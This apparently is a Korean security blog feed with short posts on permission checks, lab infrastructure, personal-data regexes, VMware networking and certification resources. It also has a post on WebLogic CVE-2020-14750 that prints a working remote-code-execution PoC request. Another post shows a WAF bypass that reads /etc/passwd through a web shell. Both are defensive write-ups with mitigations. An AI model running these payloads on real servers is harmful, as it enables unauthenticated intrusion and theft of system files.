Always Practice

홈디렉토리 소유자 및 권한 설정 한줄 명령어

rootable — Mon, 20 Dec 2021 14:49:00 +0900

주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세 가이드 중 [홈디렉토리 소유자 및 권한 설정] 항목을 한줄 커멘드로 확인하고 싶었다.

아래가 그 명령어이다.

cat /etc/passwd | awk -F ':' '{print $6}' | while read line; do ls -ld $line; done

/etc/passwd 파일을 조회한 후 awk 명령어를 통해 6번째 컬럼인 각 사용자의 홈디렉토리만 추출한다.

이후 while 명령어를 이용하여 각 홈디렉토리별로 ls 명령어를 적용시켜 사용자 및 권한을 확인할 수 있다.

인프라보안

rootable — Sun, 24 Oct 2021 21:16:04 +0900

※사용한 소프트웨어

- ESXi : 하이퍼바이저 → 네트워크 환경을 제어로써 이 위에 VM들 생성

- pfSense : 오픈소스 UTM

- vSphere : VM을 관리하는 콘솔 매니지먼트 툴

- Squid : 프락시 서버

- SquidGuard : 프락시 서버의 URL 관리 역할

- SecurityOnion, Sguil : IDS, IPS

- OpenVPN : VPN

※ Proxy Server를 사용하는 이유

1. 악성 사이트에 접근할 때 사전에 유해 사이트 차단

2. 서버가 인터넷에 함부로 접근할 수 없도록 차단해주는 감염 예방과 보안 정책 유지

3. 침해 대응 시 시야 확보에 대한 문제점 해소

※ 명령어 모음

(1) 스노트 센서 관련 명령어

- snort 설정만 변경하였을 경우 : nsm_sensor_ps-restart --only-snort-alert

- 스노트 센서 전체 재시작 : service nsm restart

(2) 스구일 관련 명령어

- 스구일 DB 정리 : sguil-db-purge

- 패킷 캡처 데이터 용량 확인 : du --max-depth=1 -h /nsm/sensor_data/*

- MySQL 내용 확인 : du --max-depth=1 -h /var/lib/mysql/

- ELSA 로그 내용 확인 : du --max-depth=1 -h /nsm/elsa/data/

중요정보 조회 정규표현식

rootable — Thu, 14 Oct 2021 09:29:42 +0900

1. 전화번호

\b010-\d{3,4}-\d{4}\b

2. 주민등록번호

\d{2}([0]\d|[1][0-2])([0][1-9]|[1-2]\d|[3][0-1])[-]*[1-4]\d{6}

(해설)

\d{2} : 맨앞 정수 2자리(생년)는 어떤 정수값이 와도 상관없다.

([0]\d|[1][0-2]) : 첫자리가 0인경우는 뒤에 어떤 정수가 와도 괜찮다. ,, 첫자리가 1인경우 뒷자리는 0,1,2만 올수있다.

// (01-12 생월을 표현)

([0][1-9]|[1-2]\d|[3][0-1]) : 생일은 첫자리가 0이면 뒷자리가 0이될경우 0일이 되기 때문에 0다음에는 1-9만 올 수있다.

[-]* : 하이픈은 0개 or 1개다.

[1-4] : 주민번호 뒷자리 첫번째 숫자는 1~4만 갖는다.

\d{6} : 주민번호 첫자리를 제외한 숫자는 총 6자리다.

3. pass 포함, passed 제외

(?=pass)(?!passed).*

(참고)

https://velog.io/@koseungbin/%EC%A0%95%EA%B7%9C-%ED%91%9C%ED%98%84%EC%8B%9D

정규 표현식

정규 표현식은 특정한 규칙을 가진 문자열 집합을 표현하는데 사용하는 형식 언어이다. > 정규 표현식은 패턴(pattern)으로 특정 목적을 위해 필요한 문자열 집합을 지정하기 위해 쓰이는 식이다.

velog.io

https://m-falcon.tistory.com/360

[JavaScript] 정규식 예제 (feat. E-mail, 주민번호)

우선, 정규식을 작성하고 바로바로 테스트 결과와 디버깅을 할 수 있는 사이트를 소개한다. RegExr: Learn, Build, & Test RegEx RegExr is an online tool to learn, build, & test Regular Expressions (RegEx /..

m-falcon.tistory.com

VMware bridge 방식 시 호스트 PC와 통신 불능 해결

rootable — Thu, 30 Sep 2021 22:14:17 +0900

바로 이전에 작성한 글을 통해서 DHCP 통신을 통해 외부 네트워크와는 통신이 가능함을 확인하였다.

https://rootable.tistory.com/644

VMware player bridge 방식으로 dhcp IP 할당

개인적으로 인프라 공부를 위해 vmware player로 인프라를 세팅하고 있는데 bridge 방식으로 dhcp ip를 할당받지 못하는 상태였다. 스크린샷을 위해 다시 이전 설정으로 돌려봤지만.. 잘 되지 않아서 다

rootable.tistory.com

하지만 정작 중요한 호스트 PC와의 통신이 되지 않았다.

아래 사진을 보면 호스트 PC의 IP가 192.168.0.8인 상태에서 게이트웨이나 구글 등 나머지는 모두 통신이 되는데 딱 호스트 PC와만 통신이 되지 않는 상태이다.

열심히 구글링한 결과 해결책을 찾았다.

아래 사진에서 확인하는 것처럼 인터넷을 사용하고 있는 장치의 속성에 들어가서 [DNE LightWeight Filter]라는 항목의 체크를 해제해준다.

확인 버튼을 누르고 다시 핑을 날려보면 아래와 같이 호스트 PC와도 정상적으로 통신이 된다.

ㅡㅡㅡㅡㅡㅡㅡ

(참고) https://superuser.com/questions/617696/vmware-workstation-bridged-network-host-unreachable

VMware player bridge 방식으로 dhcp IP 할당

rootable — Wed, 29 Sep 2021 23:06:08 +0900

개인적으로 인프라 공부를 위해 vmware player로 인프라를 세팅하고 있는데 bridge 방식으로 dhcp ip를 할당받지 못하는 상태였다.

스크린샷을 위해 다시 이전 설정으로 돌려봤지만.. 잘 되지 않아서 다른 페이지에서 가지고 온다.

나는 ESXi로 세팅 중이였는데 아래 사진과 같이 출력되었고 Warning은 다음과 같았다.

Warning : DHCP lookup failed. You may be unable to access this system until you customize its network configuration.

출처 : https://www.youtube.com/watch?v=naK5opxyKWA

해결방법은 다음과 같다.

아래 사진과 같이 [Edit virtual machine settings] > [network Adapter] > [Configure Adapters] 클릭하여 나온 [Automatic Bridging Settings]에서 현재 인터넷을 하고 있는 LAN카드를 제외한 나머지 어뎁터들에 대해 모두 체크를 해제해준다.

그리고 다시 시도해보면 아래와 같이 정상적으로 DHCP로 IP를 가지고 오는 것을 확인할 수 있다.

Oracle WebLogic Server 원격코드 실행 취약점 (CVE-2020-14750)

rootable — Wed, 28 Jul 2021 10:18:31 +0900

※ 개요

- Oracle社의 WebLogic Server에서 발견된 취약점

- 공격자는 해당 취약점을 이용하여 RCE(원격코드 실행)가 가능함. 이는 인증 없이 원격에서 명령어 실행이 가능한 취약점으로써 굉장히 크리티컬한 취약점이라 할 수 있음 ( CVSS Score 9.8 )

※ 설명

- admin portal(기본 설정은 TCP port 7001)에서 발생되는 exploit

- double-encoded path traversal %25%2E%25%2E%252F 과 admin portal console.portal 이 요청 URI에 포함된다는 특징이 있음

- 단순히 패턴으로 차단할 경우에는 다음과 같은 기법들을 통해 우회될 수 있으니 보안패치할 것을 권고함

□ 영향을 받는 제품 및 버전

제품명	영향받는 버전	CVSS Score(3.1)
WebLogic Server	10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0	9.8

※ 대응방안

- Oracle社 홈페이지에서 Patch Availability Document를 참고하여 최신 버전으로 업데이트 적용

- 영향받는 버전은 아래의 패치 적용

oracle-weblogic-10_3_6_0_0-apply-patch-32097188
oracle-weblogic-12_1_3_0_0-apply-patch-32097177
oracle-weblogic-12_2_1_3_0-apply-patch-32097173
oracle-weblogic-12_2_1_4_0-apply-patch-32097167
oracle-weblogic-14_1_1_0_0-apply-patch-32097180
oracle-weblogic-cve-2020-14750

※ PoC 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: XXX.XXX.XXX.XXX:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258
 
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");
 
Colored by Color Scripter

cs

===============================================================================

(참고)

- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35761

- https://github.com/jas502n/CVE-2020-14882

- https://programmersought.com/article/56287596430/

- https://www.rapid7.com/blog/post/2020/10/29/oracle-weblogic-unauthenticated-complete-takeover-cve-2020-14882-what-you-need-to-know/

WAF bypass using an uninitialized Bash variable

rootable — Fri, 16 Jul 2021 10:36:09 +0900

KISA에서 진행하는 2021년도 실전형 정보보호제품군 초급 2차과정을 진행하다가 재미있는 것을 발견하여 기록해둔다.

해당 과정에서는 ModSecurity라는 WAF을 운영하여 웹 취약점들을 차단하는 실습을 진행하였다.

1. 설정되어 있는 방화벽 룰

우선 현재 적용되어 있는 방화벽 룰을 확인해보자.

/etc/passwd를 막는 방화벽 룰

해당 방화벽 룰에서는 /etc/passwd라는 문자열 자체를 방어하고 있다.

이를 우회하는 방법은 다양하지만 이번에 진행하는 방법은 초기화되지 않은 bash 변수를 사용해보겠다.

2. 초기화되지 않은 Bash 변수

여기서 말하는 초기화되지 않은 bash 변수란 $u를 말한다.

아래 그림을 보자.

초기화되지 않은 변수

리눅스 bash 쉘에서 다음과 같이 초기화되지 않은 변수를 echo로 출력해보면 아무것도 출력되지 않는 것을 볼 수 있다.

즉 초기화되지 않은 변수는 ""를 의미한다는 것이다.

이를 공격에 적용해보자.

3. 공격에 활용

우선 웹쉘을 통해 cat /etc/passwd 명령어를 날리면 아래 그림과 같이 방화벽에 의해 차단됨을 확인할 수 있다.

방화벽에 의해 차단된 공격

이제 여기에 위해서 설명한 초기화되지 않은 변수를 활용하게 되면 다음과 같이 방화벽 우회가 가능하다.

방화벽 우회 : cat /etc$u/passwd$u

다음과 같이 초기화된 변수를 길게 사용할 수도 있다.

긴 초기화되지 않은 변수명 사용

4. 대응방안

- 해당 공격방법을 막기 위해서는 $ 문자를 방화벽에서 차단하면 된다. 하지만 수많은 오탐이 발생할 수 있기 때문에 단순히 $를 차단하는 것은 권고하기 어렵다.

- 따라서 오탐을 최대한 방지하면서 해당 공격 패턴을 막기 위해서는 공격을 시도하기 위해 특수문자를 많이 사용할 가능성이 크므로 4번 혹은 그 이상 특수문자를 사용할 경우 차단하는 방식으로 가는 것을 권고한다.

- 가장 추천하는 방식은 시큐어코딩을 통해 이러한 공격 자체가 안되도록 하는 것이 BEST이다.

( 참고 ) https://www.secjuice.com/web-application-firewall-waf-evasion/

AWS 자격증 준비

rootable — Tue, 13 Jul 2021 15:45:33 +0900

- Amazon 자격증 안내서 페이지 : https://aws.amazon.com/ko/certification/certification-prep

AWS Certification 시험 준비

AWS에서 제공하는 Exam Readiness 교육 과정을 수강하여 AWS Certification 시험을 준비하세요. AWS의 Exam Readiness: AWS Certified DevOps Engineer – Professional 과정은 강의실 교육과 무료 디지털 교육으로 모두 제공

aws.amazon.com

- AWS Training & Certificatgion : https://www.aws.training

AWS training and certification

www.aws.training

- AWS 백서 : https://aws.amazon.com/ko/whitepapers

AWS 백서 및 안내서

기술 백서, 기술 안내서, 참조 문서, 참조 아키텍처 다이어그램을 포함하여 AWS 및 AWS 커뮤니티에서 작성한 AWS 기술 콘텐츠를 통해 클라우드 관련 지식의 범위를 넓혀 보십시오.

aws.amazon.com

- AWS 한국어 기술 백서 : https://aws.amazon.com/ko/blogs/korea/ko-whitepapers

AWS 한국어 기술 백서 목록 (2020년 업데이트) | Amazon Web Services

AWS 기술 백서는 아키텍처, 보안, 경제성과 같은 다양한 주제를 포괄적으로 다루고 있습니다. AWS 팀, 독자적인 분석가 또는 AWS 커뮤니티(고객 또는 파트너)에 의해 작성되며, 한국어로 된 기술 백

aws.amazon.com

- FAQ : https://aws.amazon.com/ko/faqs (필수)

AWS | FAQ

다음 제품 및 기술 FAQ 목록에서 원하는 항목을 선택하십시오. FAQ를 살펴보면 흔히 물어보는 질문에 대한 답변을 확인할 수 있습니다. 아래 서비스 중 하나를 처음 사용하는 고객이라면 관련 도

aws.amazon.com

- 모의고사 : https://www.aws.training (인터넷 찾아보니 비추하는 글이 많음)

AWS training and certification

www.aws.training

ISMS 구축운영 TIP ( KISA 자료 )

rootable — Fri, 9 Jul 2021 02:03:39 +0900

※ 구축운영 팁

- 1.1 관리체계 기반마련 / 1.2 위험 관리 :

https://isms.kisa.or.kr/data/content/CT00000013/resources/include/down/operating_01.pdf

- 1.3 관리체계 운영 / 1.4 관리체계 점검 및 개선 :

https://isms.kisa.or.kr/data/content/CT00000013/resources/include/down/operating_02.pdf

개인정보 흐름분석

rootable — Fri, 9 Jul 2021 02:01:03 +0900

Always Practice

홈디렉토리 소유자 및 권한 설정 한줄 명령어

인프라보안

중요정보 조회 정규표현식

VMware bridge 방식 시 호스트 PC와 통신 불능 해결

VMware player bridge 방식으로 dhcp IP 할당

Oracle WebLogic Server 원격코드 실행 취약점 (CVE-2020-14750)

WAF bypass using an uninitialized Bash variable

1. 설정되어 있는 방화벽 룰

2. 초기화되지 않은 Bash 변수

3. 공격에 활용

4. 대응방안

AWS 자격증 준비

ISMS 구축운영 TIP ( KISA 자료 )

※ 구축운영 팁

개인정보 흐름분석

※ 개인정보 흐름분석 1. 개인정보 처리업무 분석 2. 개인정보 흐름표 3. 개인정보 흐름도 - 참고 : https://www.kisa.or.kr/uploadfile/201806/201806121113199760.pdf

※ 개인정보 흐름분석
1. 개인정보 처리업무 분석
2. 개인정보 흐름표
3. 개인정보 흐름도
- 참고 : https://www.kisa.or.kr/uploadfile/201806/201806121113199760.pdf